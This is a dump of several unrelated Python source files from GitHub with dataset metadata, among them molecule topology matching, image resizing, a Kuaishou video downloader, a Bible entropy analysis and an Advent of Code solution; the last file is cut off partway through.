result.visited_order[1][iAtom]\n\n    def __verify__(bondedMaps,matching_map):\n        passed = True\n        for iAtomInMol0 in range(len(matching_map)):\n            iAtomInMol1 = matching_map[iAtomInMol0]\n            for iBondedToInMol0 in bondedMaps[0][iAtomInMol0]:\n                iBondedToInMol1 = matching_map[iBondedToInMol0]\n                # verify that iBondedToInMol1 is in bondedMaps[1][iAtomInMol1]\n                if iBondedToInMol1 not in bondedMaps[1][iAtomInMol1]:\n                    print(\"Verify Failed: atom {} in (A) is matched to atom {} in (B), which should be bonded to \"\n                          \"atom {} in (A). According to matching, this is {} in (B), but this is not.\".format(iAtomInMol0,iAtomInMol1,iBondedToInMol0,iBondedToInMol1))\n                    passed = False\n            if not passed:\n                break\n        return passed\n\n    if not __verify__(bondedMaps,matching_map):\n        error(\"Internal error in TopologyMatching(): Verification Not Passed !\",False)\n\n    # for i in region(result.nAtoms[0]):\n    #     print(\"{},{}\".format(i,matching_map[i]))\n\n    return matching_map\n\ndef TestCase(mol):\n    # This is a testing case by randomly permutating atoms within a molecule, and match them\n    # with the original molecule\n    from UniversalMolecularSystem import MolecularSystem\n    from BondDetection import DefaultBondRules\n    from random import shuffle\n\n    originalSystem = MolecularSystem()\n    originalSystem.molecules = [mol]\n    originalSystem.AutoDetectBonds(DefaultBondRules(),flushCurrentBonds = True)\n\n    permSystem = originalSystem.Copy()\n    shuffle(permSystem.molecules[0].atoms)  # Shuffle all but the first atom\n    permSystem.RenumberAtomSerials()\n    permSystem.AutoDetectBonds(DefaultBondRules(),flushCurrentBonds = True)\n\n    originalSystem.Summary()\n    permSystem.Summary()\n\n    for i in range(len(originalSystem.molecules[0].atoms)):\n        result = TopologyMatching([originalSystem.molecules[0],permSystem.molecules[0]],[0,i])\n        if result != None:\n            print(i)\n            print(result)\n        else:\n            print(\"{}: No Match\".format(i))\n\n\n\n\nif __name__ == '__main__':\n\n    TestCase()", "repo_name": "lr142/PythonUniversalMolecularSystem", "sub_path": "TopologyMatching.py", "file_name": "TopologyMatching.py", "file_ext": "py", "file_size_in_byte": 11875, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 17, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 26, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 31, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 33, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 38, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 40, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 40, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 42, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 42, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 44, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 44, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 45, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 45, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 47, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 47, "usage_type": "attribute"}, {"api_name": "itertools.permutations", "line_number": 104, "usage_type": "call"}, {"api_name": "UniversalMolecularSystem.MolecularSystem", "line_number": 225, "usage_type": "call"}, {"api_name": "BondDetection.DefaultBondRules", "line_number": 227, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 230, "usage_type": "call"}, {"api_name": "BondDetection.DefaultBondRules", "line_number": 232, "usage_type": "call"}]}
{"seq_id": "12230108418", "text": "from PIL import Image\nimport re\nimport os\n\npath =  os.path.join(os.path.expanduser('~'),'images')\ndef img_fix(imglist):\n    for img in imglist:\n        savepath = os.path.join(os.path.expanduser('~'),'opt','icons')\n        fullpath = os.path.join(path, img)\n        open_image = Image.open(fullpath)\n        new_name = re.sub('\\.[a-z]*$', '.jpeg', img)\n        print(new_name)\n        new_path = os.path.join(savepath,new_name)\n        open_image.rotate(-90).resize((128,128)).convert(\"RGB\").save(new_path)\n        print(open_image.size)\n\n\ndef main():\n    print(path)\n    imgfiles = [x for x in os.listdir(path) if os.path.isfile(os.path.join(path, x))]\n    print(imgfiles)\n    #img_fix(imgfiles)\n\nif __name__ == \"__main__\":\n    main()", "repo_name": "KingUnknown15/Final-Course-IT-Automation-Python", "sub_path": "Week-1/image-fixer-LINUX.py", "file_name": "image-fixer-LINUX.py", "file_ext": "py", "file_size_in_byte": 735, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 10, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 10, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}]}
{"seq_id": "12065854237", "text": "import configparser, os\n\nPATH = 'config.cfg'\nDEFAULTS = {\n    'main': {\n        'debug': True,\n        'interpreter': False,\n    },\n        'graphics': {\n            'hwaccel': True,\n    }\n}\nskip_file = False\n\nconfig = configparser.ConfigParser()\n\nif os.path.isfile(PATH) and not skip_file:\n    config.read_file(open('config.cfg'))\nelse:\n    config.read_dict(DEFAULTS)", "repo_name": "juliohq/PyNES", "sub_path": "core/engine/settings.py", "file_name": "settings.py", "file_ext": "py", "file_size_in_byte": 368, "program_lang": "python", "lang": "fa", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "configparser.ConfigParser", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}]}
{"seq_id": "6136526827", "text": "# coding=utf-8\nimport json\nimport re\nimport requests,os\n\n# TODO 可以用\n\ndir = \"H:\\\\11-快手单个视频\\\\\"\ndef get(url: str) -> dict:\n    \"\"\"\n    title、imgs、videos\n    \"\"\"\n    data = {}\n    failed = {'msg': 'failed...'}\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25\",\n        \"Cookie\": \"did=web_f3915064ee334c508642888137f27598;\"\n    }\n    # rewrite desktop url\n    temp = re.findall(r'live\\.kuaishou\\.com/u/\\w+/(\\w+)', url)\n    # print(temp)\n    if temp:\n        url = 'https://c.kuaishou.com/fw/photo/{}'.format(temp[0])\n\n    rep = requests.get(url, headers=headers, timeout=10)\n    if rep.status_code != 200:\n        return failed\n    page_data = re.findall(r'', rep.text)\n    # print(page_data)\n    if not page_data:\n        return failed\n    try:\n        page_data = json.loads(page_data[0])\n    except Exception:\n        print('kuaishou loads json failed')\n        return failed\n\n    video_info = page_data['video']\n    data['title'] = video_info['caption']\n    # 获取主播名字\n    data['user'] = page_data['user']['name']\n    # 时间\n    data['time'] = page_data['rawPhoto']['timestamp']\n    # 获取视频\n    try:  # 如果出错，则可能是长图视频\n        data['videos'] = [video_info['srcNoMark']]\n    except Exception:\n        pass\n    else:\n        data['videoName'] = data['title']\n        data['msg'] = '如果快手视频下载出错请尝试更换网络'\n    # 获取图片\n    try:  # 如果出错，则可能是普通视频；\n        images = video_info['images']\n        imageCDN: str = video_info['imageCDN']\n        # 如果是长图视频，则这几项一定存在\n        assert images is not None\n        assert imageCDN is not None\n    except Exception:\n        pass\n    else:\n        if not imageCDN.startswith('http'):\n            imageCDN = 'http://' + imageCDN\n        data['imgs'] = [imageCDN + i['path'] for i in images]\n    return data\n\ndef readconfig():\n    f = open(r'config.txt', \"r\", encoding='utf-8')\n    for x in f:\n        geturl(x)\n    f.close()\n\ndef geturl(config:str)-> list:\n    pattern = re.compile('(https:.*?) 复制此消息，打开【快手】直接观看！.*?',re.S)\n    # pattern = re.compile('.*?发了一个快手作品，一起来看！(.*?) 复制此消息，打开【快手】直接观看！.*?',re.S)\n    v_url = re.findall(pattern, config)\n    print(v_url)\n    if v_url!= [] :\n        req = get(v_url[0])\n        download(req)\ndef download(req):\n    try:\n        v_name = req.get('user') + str(req.get('time')) + \".mp4\"\n        video = dir + v_name\n        print(video)\n        print(req.get('videos'))\n        if not os.path.exists(video):\n            r = requests.get(req.get('videos')[0])\n            r.raise_for_status()\n            with open(video, \"wb\") as f:\n                f.write(r.content)\n            print(\"    视频 \" + v_name + \" 下载成功 √\")\n        else:\n            print(\"    视频 \" + v_name + \" 已存在 √\")\n    except:\n        print(\"  这里似乎有点小错误，已跳过\")\nif __name__ == \"__main__\":\n    # print(get(url=\"https://live.kuaishou.com/u/kissyou696773/3x9vpmn3n4ihvg6\"))\n    # print(get(url=\"https://v.kuaishou.com/7x1fql\"))\n    readconfig()", "repo_name": "legolas-zeng/scripts", "sub_path": "爬虫/快手/kuaishou.py", "file_name": "kuaishou.py", "file_ext": "py", "file_size_in_byte": 3370, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "re.findall", "line_number": 20, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 25, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 28, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 33, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 74, "usage_type": "call"}, {"api_name": "re.S", "line_number": 74, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 88, "usage_type": "call"}]}
{"seq_id": "40762438168", "text": "import sys\nfrom collections import deque\n\ndx = [-1, 1, 0, 0]\ndy = [0, 0, -1, 1]\n\ninput = sys.stdin.readline\n\nn, m = map(int, input().split())\n# 치즈가 있는 부분 1, 치즈가 없는 부분 0\nmap = [list(map(int, input().split())) for _ in range(n)]\n\ndef melted():\n    queue = deque()\n    visited = [[0] * m for _ in range(n)]\n    \n    # 모눈종이의 맨 가장자리에는 치즈가 놓이지 않는 것으로 가정한다\n    queue.append([0,0])\n    visited[0][0] = 1\n    \n    while queue:\n        x, y = queue.popleft()\n        for i in range(4):\n            nx, ny = x + dx[i], y + dy[i]\n            \n            if 0 <= nx < n and 0 <= ny < m:\n                # 외부 공기\n                if not map[nx][ny] and not visited[nx][ny]:\n                    visited[nx][ny] = 1\n                    queue.append([nx, ny])\n                    \n                # 치즈\n                else:\n                    visited[nx][ny] += 1\n    \n    sum = 0                \n    for i in range(n):\n        for j in range(m):\n            if visited[i][j] >= 2:\n                map[i][j] = 0\n            \n            sum += map[i][j]\n    return sum\n                \n                \nans = 0    \nwhile True:\n    result = melted()\n    ans += 1\n    \n    if not result:\n        break\n    \nprint(ans)\n    \n    ", "repo_name": "kimyubi/ps", "sub_path": "BFS 복습/2638 치즈.py", "file_name": "2638 치즈.py", "file_ext": "py", "file_size_in_byte": 1302, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.stdin", "line_number": 7, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "14193038987", "text": "#!/usr/bin/python\n\nfrom gi.repository import Gtk, GObject, Gdk\nimport sys\n\nclass CommonAPI(Gtk.Window):\n\t\n\tdef __init__ (self, Title, Length, Breadth):\n\t\tGtk.Window.__init__(self, title = Title )\n\t\tself.set_size_request(Length, Breadth)\n\t\tself.fixed = Gtk.Fixed()\n\t\tself.grid = Gtk.Grid()\n\t\tself.radioButton1 = None\n\t\t#self.Show()\n\t\t\t\n\tdef CreateButton(self, xPos, yPos, Title ):\n\t\tbutton = Gtk.Button( label = Title )\n\t\tself.fixed.put(button, xPos, yPos )\n\t\n\tdef CreateRadioButton(self, xPos, yPos, Title ):\n\t\tradioButton = Gtk.RadioButton.new_with_label_from_widget(self.radioButton1, Title)\n\t\tself.radioButton1 = radioButton\n\t\tself.fixed.put(radioButton, xPos, yPos )\n\t\n\tdef CreateCheckBox(self, xPos, yPos, Title ):\n\t\tcheckButton = Gtk.CheckButton( label = Title )\n\t\tself.fixed.put(checkButton, xPos, yPos)\n\t\n\tdef CreateTextBox(self, xPos, yPos):\n\t\ttextField = Gtk.Entry()\n\t\tself.fixed.put(textField, xPos, yPos)\n\n\tdef CreateList(self, xPos, yPos, List):\n\t\t#Creating a model from treeview\n\t\tstore = Gtk.ListStore(str)\n\t\tfor i in range(len(List)):\n\t\t\tlistiter = store.append([List[i]])\n\t\ttree = Gtk.TreeView(store)\n\t\t\n\t\tvbox = Gtk.VBox(spacing = 1)\n\t\tlabel = Gtk.Label(\"Your list is here\");\n\t\tvbox.pack_start(label, False, False, 0)\n\t\tvbox.pack_start(tree, False, False, 0)\n\t\t   \t\t\t\t\n\t\t#column for name\n\t\trenderer = Gtk.CellRendererText()\n\t\tcolumn = Gtk.TreeViewColumn(\" \", renderer, text = 0)\n\t\ttree.append_column(column)\n\t\tself.fixed.put(vbox, xPos, yPos)\t\n\t\t\n\tdef Show(self):\n\t\tself.add(self.fixed)\n\t\tself.connect(\"delete-event\", Gtk.main_quit)\n\t\tself.show_all()\n\t\tGtk.main()\n\t\t\n\t\t\n\t\n", "repo_name": "shub16/silver-lining", "sub_path": "Sem5/CSL306/P2010CS1036/P2010CS1018_Jaspreet/Assign4/OutputWindow.py", "file_name": "OutputWindow.py", "file_ext": "py", "file_size_in_byte": 1590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "gi.repository.Gtk.Window", "line_number": 6, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 6, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Window.__init__", "line_number": 9, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.Window", "line_number": 9, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 9, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Fixed", "line_number": 11, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 11, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Grid", "line_number": 12, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 12, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Button", "line_number": 17, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 17, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.RadioButton.new_with_label_from_widget", "line_number": 21, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.RadioButton", "line_number": 21, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 21, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.CheckButton", "line_number": 26, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 26, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Entry", "line_number": 30, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 30, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.ListStore", "line_number": 35, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 35, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.TreeView", "line_number": 38, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 38, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.VBox", "line_number": 40, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 40, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Label", "line_number": 41, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 41, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.CellRendererText", "line_number": 46, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 46, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.TreeViewColumn", "line_number": 47, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 47, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.main_quit", "line_number": 53, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 53, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.main", "line_number": 55, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 55, "usage_type": "name"}]}
{"seq_id": "72062947109", "text": "import graph_tool as gt\nimport json\nfrom random import sample\n\nnet = gt.load_graph('citenet0.out.gt')\n\ncore_pmap = net.vp['core']\ncore = [vertex for vertex in net.vertices() if core_pmap[vertex]]\ndownstream = core_pmap.copy()\ngt.infect_vertex_property(net, downstream, vals = [True])\n\nboundary_pmap = net.new_vp('bool', \n\t\t\t\t\t\t\tvals = [downstream[vertex] and not core_pmap[vertex] \n\t\t\t\t\t\t\t\t\tfor vertex in net.vertices()])\nboundary = [vertex for vertex in net.vertices() if boundary_pmap[vertex]]\n\ncore_dois = [net.vp['doi'][vertex] for vertex in core]\ncore_sids = [net.vp['sid'][vertex] for vertex in core]\n\ncore_refs = {}\nfor paper in boundary:\n\tcore_ref_sids = [sid for sid in net.vp['references'][paper] if sid in core_sids]\n\tcore_ref_papers = [paper for paper in core if net.vp['sid'][paper] in core_ref_sids]\n\tcore_ref_dois = {net.vp['doi'][paper]: 0 for paper in core_ref_papers}\n\n\tcore_refs[net.vp['doi'][paper]] = core_ref_dois\n\nprint('Total boundary items: ' + str(len(boundary)))\n\nboundary_subset = sample(boundary, 25)\nboundary_subset_dois = [net.vp['doi'][paper] for paper in boundary_subset]\ncore_refs_subset = {key:value for key, value in core_refs.items() if key in boundary_subset_dois}\nprint('Total subset items: ' + str(len(boundary_subset)))\n\nwith open('boundary.output.json', 'w') as outfile:\n\tjson.dump(core_refs_subset, outfile, indent = 4)", "repo_name": "dhicks/cite-network", "sub_path": "downstream/downstream.py", "file_name": "downstream.py", "file_ext": "py", "file_size_in_byte": 1362, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "graph_tool.load_graph", "line_number": 5, "usage_type": "call"}, {"api_name": "graph_tool.infect_vertex_property", "line_number": 10, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 30, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 36, "usage_type": "call"}]}
{"seq_id": "9423553322", "text": "import sys\nimport numpy as np\nimport pandas as pd\n\nimport data\nfrom analysis import full_entropy_calculation_bpw\n\nif __name__ == '__main__':\n    if len(sys.argv) != 2:\n        print(f'USAGE: {sys.argv[0]} ')\n        exit(-1)\n    # Variables related to the location of the data and the type of system\n    bibles_path = '/home/pablo/Documents/GitHubRepos/paralleltext/bibles/corpus/'\n    bible_filename = sys.argv[1]\n    #bible_filename = 'eng-x-bible-world.txt'\n    output_path = '/home/pablo/Documents/GitHubRepos/WordOrderBibles/output/MontemurroZanette/'\n    # Variables related to the processing of text for GPT-2\n    prompt = ''\n    separator = ' '\n    # Variables related to the processing of text for unigram entropies\n    remove_punctuation = False\n    lowercase = False\n\n    bible = data.parse_pbc_bible(bibles_path + bible_filename)\n\n    \"\"\"For each of these hierarchical orders, we can compute the entropy per word and the unigram entropy.\"\"\"\n    by_bible, _, by_book, _, _ = bible.join_by_toc()\n    by_level = {'bible': by_bible, 'book': by_book}\n\n    eos_token = ''\n    level_text = {level_name: data.join_texts_in_dict(id_texts, prompt, eos_token, separator) \\\n                  for level_name, id_texts in by_level.items()}\n\n    raw_name = output_path + bible_filename\n    level_entropies = {level_name: full_entropy_calculation_bpw(id_text,\n                                                                remove_punctuation,\n                                                                lowercase,\n                                                            f'{raw_name}_{level_name}') \\\n                       for level_name, id_text in level_text.items()}\n\n    level_avg_text_len = {level_name: np.mean([len(data.tokenize(text, remove_punctuation, lowercase)) \\\n                                               for text in id_text.values()]) \\\n                          for level_name, id_text in level_text.items()}\n\n    # Save all these values to a Pandas dataframe that we can use to make histograms and compute statistics\n    df = pd.DataFrame(columns=('level', 'n_tokens', 'H', 'H_s', 'H_r', 'id'))\n    for level_name, section_entropies in level_entropies.items():\n        for section_id, entropies in section_entropies.items():\n            row = (level_name, len(data.tokenize(level_text[level_name][section_id], remove_punctuation, lowercase)),\n                   entropies[0], entropies[1], entropies[2], str(section_id))\n            df.loc[len(df)] = row\n\n    # Compute the word-order entropies\n    df['D_r'] = df['H_r'] - df['H']\n    df['D_s'] = df['H_s'] - df['H']\n\n    df.to_csv(output_path + bible_filename.replace('.txt', '_entropies.csv'), index=False)\n", "repo_name": "PabloMosUU/BibleWordPasting", "sub_path": "12_entropy_bpw.py", "file_name": "12_entropy_bpw.py", "file_ext": "py", "file_size_in_byte": 2695, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "data.parse_pbc_bible", "line_number": 24, "usage_type": "call"}, {"api_name": "data.join_texts_in_dict", "line_number": 31, "usage_type": "call"}, {"api_name": "analysis.full_entropy_calculation_bpw", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 41, "usage_type": "call"}, {"api_name": "data.tokenize", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 46, "usage_type": "call"}, {"api_name": "data.tokenize", "line_number": 49, "usage_type": "call"}]}
{"seq_id": "11221320665", "text": "# 게리맨더링\nimport sys\nsys.stdin = open('input.txt', 'r')\nfrom collections import deque\n\ndef dfs(cnt, s, end):\n    global mn\n    # 종료조건\n    if cnt == end:  # 재귀횟수가 목표횟수에 도달\n        group1, group2 = deque(), deque()   # 그룹1, 2로 나누기\n        \n        # 방문 한 지점 group1, # 방문 안 한 지점 group2\n        for i in range(1, N+1):\n            if visited[i]:\n                group1.append(i)\n            else:\n                group2.append(i)\n        \n        # 연결되어 있는지 확인\n        ans1 = bfs(group1)\n        if not ans1:\n            return\n        ans2 = bfs(group2)\n        if not ans2:\n            return\n        \n        mn = min(mn, abs(ans1-ans2))\n        return\n    \n    # end개수에 도달하지 못 했을 때는 그 다음 구역부터 조합 더하기\n    for i in range(s, N+1):\n        if not visited[i]:  # 방문하지 않은 지점\n            visited[i] = 1\n            dfs(cnt+1, i, end)\n            visited[i] = 0\n\ndef bfs(group):\n    q = deque([group[0]])   # 첫 지점 enqueue\n    check = [0] * (N+1)\n    check[group[0]] = 1     # 방문 표시\n\n    cnt, answer = 1, 0      # cnt: 방문 지점 수, answer: 인구 수 합\n    while q:\n        t = q.popleft()\n        answer += nums[t]\n        for i in adjL[t]:\n            # 인접하고 group 안에 속하며 방문한 적이 없으면 계속 진행\n            if i in group and not check[i]:\n                check[i] = 1\n                cnt += 1\n                q.append(i)\n\n    if cnt == len(group):\n        return answer\n    else:\n        return 0\n\n\nN = int(input())\nnums = [0] + list(map(int, input().split()))    # 인구수 배열\nvisited = [0] * (N+1)\nadjL = [[] for _ in range(N+1)]     # 인접 리스트\nfor i in range(1, N+1):\n    x, *lst = map(int, input().split())\n    for c in lst:\n        adjL[i].append(c)\n\nmn = 1000\nfor i in range(1, N//2 + 1):    # 1개/N-1개, 2개/N-2개, ... N//2개/N//2개 -> 조합\n    visited = [0] * (N+1)\n    dfs(0, 1, i)                # 현재까지 재귀 횟수, 시작지점, target 재귀횟수 \n\nif mn == 1000:\n    print(-1)\nelse:\n    print(mn)", "repo_name": "Al9-Mor9/Graphs", "sub_path": "Code/17471/17471_K.py", "file_name": "17471_K.py", "file_ext": "py", "file_size_in_byte": 2148, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.stdin", "line_number": 3, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 10, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 38, "usage_type": "call"}]}
{"seq_id": "35715696801", "text": "import pytest\n\nfrom api.community import choices, factories, selectors\n\n\n@pytest.mark.django_db\nclass TestCommunitySelectors:\n    def test_filter_company_hashtags(self):\n        h_1 = factories.HashtagFactory(slug=\"a\")\n        h_2 = factories.HashtagFactory(slug=\"b\")\n\n        _ = factories.CompanyFactory(slug=\"a\", current_revision__hashtags=[h_1])\n        company_2 = factories.CompanyFactory(slug=\"b\", current_revision__hashtags=[h_2])\n        company_3 = factories.CompanyFactory(\n            slug=\"c\", status=choices.ModerationStatus.REJECTED.name\n        )\n\n        qs = selectors.get_companies()\n\n        rv = selectors.filter_companies(qs, None, [\"b\"], None)\n        assert rv.count() == 1\n        assert rv.first().slug == company_2.slug\n\n        rv = selectors.filter_companies(qs, company_2.current_revision.name, None, None)\n        assert rv.count() == 1\n        assert rv.first().slug == company_2.slug\n\n        rv = selectors.filter_companies(\n            qs, None, None, choices.ModerationStatus.REJECTED.name\n        )\n        assert rv.count() == 1\n        assert rv.first().slug == company_3.slug\n", "repo_name": "aecworks/aec.works-api", "sub_path": "tests/test_communities/test_selectors.py", "file_name": "test_selectors.py", "file_ext": "py", "file_size_in_byte": 1116, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "api.community.factories.HashtagFactory", "line_number": 9, "usage_type": "call"}, {"api_name": "api.community.factories", "line_number": 9, "usage_type": "name"}, {"api_name": "api.community.factories.HashtagFactory", "line_number": 10, "usage_type": "call"}, {"api_name": "api.community.factories", "line_number": 10, "usage_type": "name"}, {"api_name": "api.community.factories.CompanyFactory", "line_number": 12, "usage_type": "call"}, {"api_name": "api.community.factories", "line_number": 12, "usage_type": "name"}, {"api_name": "api.community.factories.CompanyFactory", "line_number": 13, "usage_type": "call"}, {"api_name": "api.community.factories", "line_number": 13, "usage_type": "name"}, {"api_name": "api.community.factories.CompanyFactory", "line_number": 14, "usage_type": "call"}, {"api_name": "api.community.factories", "line_number": 14, "usage_type": "name"}, {"api_name": "api.community.choices.ModerationStatus", "line_number": 15, "usage_type": "attribute"}, {"api_name": "api.community.choices", "line_number": 15, "usage_type": "name"}, {"api_name": "api.community.selectors.get_companies", "line_number": 18, "usage_type": "call"}, {"api_name": "api.community.selectors", "line_number": 18, "usage_type": "name"}, {"api_name": "api.community.selectors.filter_companies", "line_number": 20, "usage_type": "call"}, {"api_name": "api.community.selectors", "line_number": 20, "usage_type": "name"}, {"api_name": "api.community.selectors.filter_companies", "line_number": 24, "usage_type": "call"}, {"api_name": "api.community.selectors", "line_number": 24, "usage_type": "name"}, {"api_name": "api.community.selectors.filter_companies", "line_number": 28, "usage_type": "call"}, {"api_name": "api.community.selectors", "line_number": 28, "usage_type": "name"}, {"api_name": "api.community.choices.ModerationStatus", "line_number": 29, "usage_type": "attribute"}, {"api_name": "api.community.choices", "line_number": 29, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 6, "usage_type": "attribute"}]}
{"seq_id": "2232287548", "text": "import numpy as np\nimport copy\nfrom scipy import sparse\n\nfile = \"day_12_input.txt\"\n# file = \"day_12_input_test.txt\"\n\nwith open(file) as f:\n    lines = f.readlines()\n    f.close()\n\nlines_letters = [l.replace(\"\\n\", \"\") for l in lines]\nlines_elevation = [\n    [ord(x) % 32 if x not in [\"S\", \"E\"] else 0 for x in l] for l in lines_letters\n]\n\nelevation = np.stack([np.array([*l], dtype=int) for l in lines_elevation], axis=1)\nletters = np.stack([np.array([*l], dtype=str) for l in lines_letters], axis=1)\n\nelevation = elevation.T\nletters = letters.T\n\nstart = tuple(np.argwhere(letters == \"S\")[0])\nend = tuple(np.argwhere(letters == \"E\")[0])\n\nelevation[letters == \"E\"] = 26\nelevation[letters == \"S\"] = 0\ndirections = [\"u\", \"d\", \"l\", \"r\"]\n\nwidth = elevation.shape[1]\nlength = elevation.shape[0]\n\nglobal directions\nglobal elevation\nglobal width\nglobal length\n\n\ndef next_location(state, direction):\n    if direction == \"u\":\n        new = (state[0] - 1, state[1])\n    if direction == \"d\":\n        new = (state[0] + 1, state[1])\n    if direction == \"l\":\n        new = (state[0], state[1] - 1)\n    if direction == \"r\":\n        new = (state[0], state[1] + 1)\n    return new\n\n\ndef is_in_map(state):\n    max_x = elevation.shape[0]\n    max_y = elevation.shape[1]\n    x_valid = (state[0] >= 0) & (state[0] < max_x)\n    y_valid = (state[1] >= 0) & (state[1] < max_y)\n    return x_valid & y_valid\n\n\ndef is_possible(state, new):\n    return elevation[new] - elevation[state] <= 1\n\n\ndef get_adjacent(state):\n    adjacent = []\n    for direction in directions:\n        new = next_location(state, direction)\n        if is_in_map(new):\n            